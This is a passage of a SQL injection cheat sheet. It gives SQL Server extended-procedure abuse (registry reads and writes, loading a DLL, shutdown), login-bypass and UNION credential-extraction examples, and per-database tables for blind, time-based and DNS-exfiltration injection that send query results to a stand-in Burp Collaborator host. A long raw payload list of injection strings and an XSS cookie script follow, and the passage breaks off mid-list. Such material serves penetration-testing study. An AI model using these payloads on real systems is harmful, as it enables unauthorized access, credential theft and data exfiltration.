| | SQL Server | xp_regenumvalues | | | SQL Server | xp_regread | | | SQL Server | xp_regremovemultistring | | | SQL Server | xp_regwrite | | | | exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' | | | | exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities' | | | SQL Server | xp_servicecontrol | Managing Services | | SQL Server | xp_loginconfig | Login Mode | | SQL Server | xp_makecab | Create Cab Files | | SQL Server | xp_ntsec_enumdomains | Domain Enumeration | | SQL Server | sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll' | Add new procedure (virtually you can execute whatever you want) | | |exec xp_webserver | | | SQL Server | sp_makewebtask | Write text file to a UNC or an internal path | | SQL Server | ';shutdown -- | | ### Bypassing MD5 Hash Check Example (MSP) might need to know hash format used for passwords on the site. ``` Username :admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' Password : 1234 ``` 81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234) ### Error Based - Find Columns Names **Finding Column Names with HAVING BY - Error Based (SQL Server):** In the same order, - HAVING 1=1 -- - GROUP BY table.columnfromerror1 HAVING 1=1 -- - GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 -- - GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on If you are not getting any more error then it's done. **Finding how many columns in SELECT query by ORDER BY:** - ORDER BY 1-- - ORDER BY 2-- - ORDER BY N-- so on Keep going until get an error. Error means you found the number of selected columns. ## SQL injection in different parts of the query The most common locations where SQL injection arises are: - In WHERE clause of a SELECT query - In UPDATE statements, within the updated values or the WHERE clause. - In INSERT statements, within the inserted values. - In SELECT statements, within the table or column name. - In SELECT statements, within the ORDER BY clause. ## Example Bypass Restriction/ Retrieving Hidden Data: in this example the system is automatically adding ```'AND released = 1'``` to the query to prevent customers from seeing unreleased items. Web Request: https://insecure-website.com/products?category=Gifts Becomes: ``` SELECT * FROM products WHERE category = 'Gifts' AND released = 1 ``` This SQL query asks the database to return: - all details (*) - from the products table - where the category is Gifts - and released is 1. Modified: https://insecure-website.com/products?category=Gifts'-- Becomes: ``` SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1 ``` Modified: https://insecure-website.com/products?category=Gifts'+OR+1=1-- Becomes: ``` SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1 ``` This will bypass the restriction on seeing unreleased items. ## Example Login/ Subverting Application Logic: Normal: ``` SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese' ``` Hack: by pass the need for a password by using ```administrator'--``` as the user name Becomes: ``` SELECT * FROM users WHERE username = 'administrator'--' AND password = '' ``` this tells it to ignore the password filed and just login as administrator. ## Example Retrieving Data From Other Database Tables: user searches for gifts ``` SELECT name, description FROM products WHERE category = 'Gifts' ``` Hack: search the following query to get a list of usernames and passwords ``` ' UNION SELECT username, password FROM users-- ``` Will close the quotes, add instructions to get username and passwords from the table users ## Example Examining The Database For Oracle: ``` SELECT * FROM v$version ``` Most Databases: ``` SELECT * FROM information_schema.tables ``` # String concatenation You can concatenate together multiple strings to make a single string. | Language | Syntax | |----------|--------| |**Oracle** |'foo'\|\|'bar'| |**Microsoft** |'foo'+'bar'| |**PostgreSQL** |'foo'\|\|'bar'| |**MySQL** |'foo' 'bar' **[Note the space between the two strings]**| ||CONCAT('foo','bar')| # Substring You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba. | Language | Syntax | |----------|--------| |**Oracle** |SUBSTR('foobar', 4, 2)| |**Microsoft** |SUBSTRING('foobar', 4, 2)| |**PostgreSQL** |SUBSTRING('foobar', 4, 2)| |**MySQL** |SUBSTRING('foobar', 4, 2)| # Comments You can use comments to truncate a query and remove the portion of the original query that follows your input. | Language | Syntax | |----------|--------| |**Oracle** |--comment| |**Microsoft** |--comment| | |/\*comment\*/| |**PostgreSQL** |--comment| | |/\*comment\*/| |**MySQL** |#comment| | |-- comment **[Note the space after the double dash]**| | |/\*comment\*/| # Database version You can query the database to determine its type and version. This information is useful when formulating more complicated attacks. | Language | Syntax | |----------|--------| |**Oracle** |SELECT banner FROM v$version| | |SELECT version FROM v$instance| |**Microsoft** |SELECT @@version| |**PostgreSQL** |SELECT version()| |**MySQL** |SELECT @@version| # Database contents You can list the tables that exist in the database, and the columns that those tables contain. | Language | Syntax | |----------|--------| |**Oracle** |SELECT * FROM all_tables| | |SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'| |**Microsoft** |SELECT * FROM information_schema.tables| | |SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'| |**PostgreSQL** |SELECT * FROM information_schema.tables| | |SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'| |**MySQL** |SELECT * FROM information_schema.tables| | |SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'| # Conditional errors You can test a single boolean condition and trigger a database error if the condition is true. | Language | Syntax | |----------|--------| |**Oracle** |SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual| |**Microsoft** |SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END| |**PostgreSQL** |SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END| |**MySQL** |SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')| # Batched (or stacked) queries You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay. | Language | Syntax | |----------|--------| |**Oracle** |**Does not support batched queries.**| |**Microsoft** |QUERY-1-HERE; QUERY-2-HERE| |**PostgreSQL** |QUERY-1-HERE; QUERY-2-HERE| |**MySQL** |**Does not support batched queries.**| # Time delays You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds. | Language | Syntax | |----------|--------| |**Oracle** |dbms_pipe.receive_message(('a'),10)| |**Microsoft** |WAITFOR DELAY '0:0:10'| |**PostgreSQL** |SELECT pg_sleep(10)| |**MySQL** |SELECT sleep(10)| # Conditional time delays You can test a single boolean condition and trigger a time delay if the condition is true. | Language | Syntax | |----------|--------| |**Oracle** |SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'\|\|dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual| |**Microsoft** |IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'| |**PostgreSQL** |SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END| |**MySQL** |SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')| # DNS lookup You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred. | Language | Syntax | |----------|--------| |**Oracle** |**The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:**| ||SELECT extractvalue(xmltype('\<?xml version="1.0" encoding="UTF-8"?\>\<!DOCTYPE root [ \<!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"\> %remote;]\>'),'/l') FROM dual| ||**The following technique works on fully patched Oracle installations, but requires elevated privileges:**| ||SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')| |**Microsoft** |exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'| |**PostgreSQL** |copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'| |**MySQL** |**The following techniques work on Windows only:**| ||LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')| ||SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'| # DNS lookup with data exfiltration You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data. | Language | Syntax | |----------|--------| |**Oracle** |SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?\>\<!DOCTYPE root [ \<!ENTITY % remote SYSTEM "http://'\|\|(SELECT YOUR-QUERY-HERE)\|\|'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"\> %remote;]\>'),'/l') FROM dual| |**Microsoft** |declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')| |**PostgreSQL** |create OR replace function f() returns void as $$| ||declare c text;| ||declare p text;| ||begin| ||SELECT into p (SELECT YOUR-QUERY-HERE);| ||c := 'copy (SELECT '''') to program ''nslookup '\|\|p\|\|'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''';| ||execute c;| ||END;| ||$$ language plpgsql security definer;| ||SELECT f();| |**MySQL** |**The following technique works on Windows only:**| ||SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'| ``` ()"><script>alert(‘document.cookie’)</script> ' or '1'='1'# " " " # " -- "" "&" "*" "-" "/* "^" ' # ' ' ' -- ' – '# '&' '' '*' '-' '-- '/* '=' '\" '^' , -- / /*…*/ // ; = == \ \\ ` `` '=0--+ %00 ;%00 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 1*56 1′) and '1′='1– 1 AND (SELECT * FROM Users) = 1 1-false 1' GROUP BY 1,2,--+ 1' GROUP BY 1,2,3--+ 1 or benchmark(10000000,MD5(1))# 1) or benchmark(10000000,MD5(1))# 1)) or benchmark(10000000,MD5(1))# 1' ORDER BY 1--+ 1' ORDER BY 1,2--+ 1' ORDER BY 1,2,3--+ 1' ORDER BY 2--+ 1' ORDER BY 3--+ 1 or pg_sleep(5)-- 1) or pg_sleep(5)-- 1)) or pg_sleep(5)-- 1 or sleep(5)# 1) or sleep(5)# 1)) or sleep(5)# 1-true -1' UNION SELECT 1,2,3--+ -1 UNION SELECT 1 INTO @,@ -1 UNION SELECT 1 INTO @,@,@ -2 %2c(select%20*%20from%20(select(sleep(10)))a) + admin" # admin" -- admin"/* admin' # admin' -- admin'/* admin' and substring(password/text(),1,1)='7 admin' # login bypass admin' -- login bypass admin'/* login bypass admin" or "1"="1 admin" or "1"="1"# admin" or "1"="1"-- admin" or "1"="1"/* admin" or 1=1 admin" or 1=1# admin" or 1=1-- admin" or 1=1/* admin") or "1"="1 admin") or "1"="1"# admin") or "1"="1"-- admin") or "1"="1"/* admin") or ("1"="1 admin") or ("1"="1"# admin") or ("1"="1"-- admin") or ("1"="1"/* admin' or '1'='1 admin' or '1'='1'# admin' or '1'='1'-- admin' or '1'='1'/* admin' or 1=1 admin' or 1=1# admin' or 1=1-- admin' or 1=1/* admin') or '1'='1 admin') or '1'='1'# admin') or '1'='1'-- admin') or '1'='1'/* admin') or ('1'='1 admin') or ('1'='1'# admin') or ('1'='1'-- admin') or ('1'='1'/* admin"or 1=1 or ""=" admin'or 1=1 or ''=' AND 0 AND 1 AND 1=0 AND 1=0# AND 1=0-- AND 1083=1083 AND ('1427=1427 AND 1083=1083 AND (1427=1427 AND 1=0 AND '%'=' " AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055 ' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055 and 1=1 and 1=1– ' and 1='1 AND 1=1 AND 1=1# AND 1=1-- AND 1=1 AND '%'=' ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') -- AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) AND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 7300=7300 AND 'pKlZ'='pKlY AND 7300=7300 AND ('pKlZ'='pKlY AND 7300=7300 AND 'pKlZ'='pKlZ AND 7300=7300 AND ('pKlZ'='pKlZ AND 7506=9091 AND ('5913=5913 AND 7506=9091 AND (5913=5913 %' AND 8310=8310 AND '%'=' %' AND 8310=8311 AND '%'=' ' and a='a AND false ' AND id IS NULL; -- ' AND MID(VERSION(),1,1) = '5'; ' and 'one'='one ' and 'one'='one– AND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(0x716a7a6a71,(SELECT (ELT(4523=4523,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP) AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)# AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)-- AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'=' and (select substring(@@version,1,1))='M' and (select substring(@@version,1,1))='X' and (select substring(@@version,2,1))='i' and (select substring(@@version,2,1))='y' and (select substring(@@version,3,1))='c' and (select substring(@@version,3,1))='S' and (select substring(@@version,3,1))='X' AnD SLEEP(5) AnD SLEEP(5)# AnD SLEEP(5)-- ' AnD SLEEP(5) ANd '1 ' and substring(password/text(),1,1)='7 AND true a' or 1=1-- ' for password AS INJECTX WHERE 1=1 AND 1=0 AS INJECTX WHERE 1=1 AND 1=0# AS INJECTX WHERE 1=1 AND 1=0-- AS INJECTX WHERE 1=1 AND 1=1 AS INJECTX WHERE 1=1 AND 1=1# AS INJECTX WHERE 1=1 AND 1=1-- ` benchmark(10000000,MD5(1))# +benchmark(3200,SHA1(1))+' benchmark(50000000,MD5(1)) benchmark(50000000,MD5(1))# benchmark(50000000,MD5(1))-- ' GROUP BY columnnames having 1=1 -- ' group by password having 1=1-- ' group by userid having 1=1-- ' group by username having 1=1-- HAVING 1=0 HAVING 1=0# HAVING 1=0-- HAVING 1=1 HAVING 1=1# HAVING 1=1-- IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl-- IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl-- like '%' 'LIKE' .... # Numeric " or "" " " or ""&" " or ""*" " or ""-" " or ""^" ' or " ' or '' ' ' or ''&' ' or ''*' ' or ''-' ' or ''=' ' or ''^' -- or # " OR "" = " ' OR '' = ' or 0=0 # or 0=0 -- or 0=0 – " or 0=0 # " or 0=0 -- " or 0=0 – %' or '0'='0 ' or 0=0 # ' or 0=0 # ' or 0=0 -- ' or 0=0 – { ' or 0=0 # } ' OR '1 ' OR 1 -- - OR 1=0 OR 1=0# OR 1=0-- or 1=1# or 1=1-- or 1=1/* or 1=1– " or "1"="1 " or "1"="1"# " or "1"="1"-- " or "1"="1"/* " or 1=1 " or 1=1 -- " or 1=1 – " or 1=1# " or 1=1-- " or 1=1/* " or 1=1– ") or "1"="1 ") or "1"="1"# ") or "1"="1"-- ") or "1"="1"/* ") or ("1"="1 ") or ("1"="1"# ") or ("1"="1"-- ") or ("1"="1"/* ' or '1'='1 ' or '1'='1'# ' or '1'='1'-- ' or '1'='1'/* ' or '1′='1 ' or 1=1 ' or 1=1 -- ' or 1=1 – ' or 1=1# ' or 1=1/* ' or 1=1;# ' or 1=1– ') or '1'='1 ') or '1'='1'# ') or '1'='1'-- ') or '1'='1'/* ') or '1'='1-- ') or ('1'='1 ') or ('1'='1'# ') or ('1'='1'-- ') or ('1'='1'/* ') or ('1'='1-- 'or'1=1 'or'1=1′ ) or '1′='1– ) or ('1′='1– or 1=1 or 1=1# or 1=1-- or 1=1/* OR 1=1 " OR 1 = 1 -- - OR 1=1 OR 1=1# OR 1=1-- ' or 1=1 LIMIT 1;# OR 1=1 login bypass ' or 1=1# login bypass ' or 1=1-- login bypass ' or 1=1/* login bypass ') or '1'='1-- login bypass ') or ('1'='1-- login bypass ' OR 1=1-- login bypass "or 1=1 or ""=" 'or 1=1 or ''=' OR 1=2, and login bypass OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) OR 3409=3409 AND ('pytW' LIKE 'pytW OR 3409=3409 AND ('pytW' LIKE 'pytY " or "a"="a ") or ("a"="a ' or 'a'='a ' or a=a-- ' or a=a– ') or ('a'='a ') or ('a'='a and hi") or ("a"="a '=' 'or' and '=' 'or' " or benchmark(10000000,MD5(1))# ") or benchmark(10000000,MD5(1))# ")) or benchmark(10000000,MD5(1))# ' or benchmark(10000000,MD5(1))# ') or benchmark(10000000,MD5(1))# ')) or 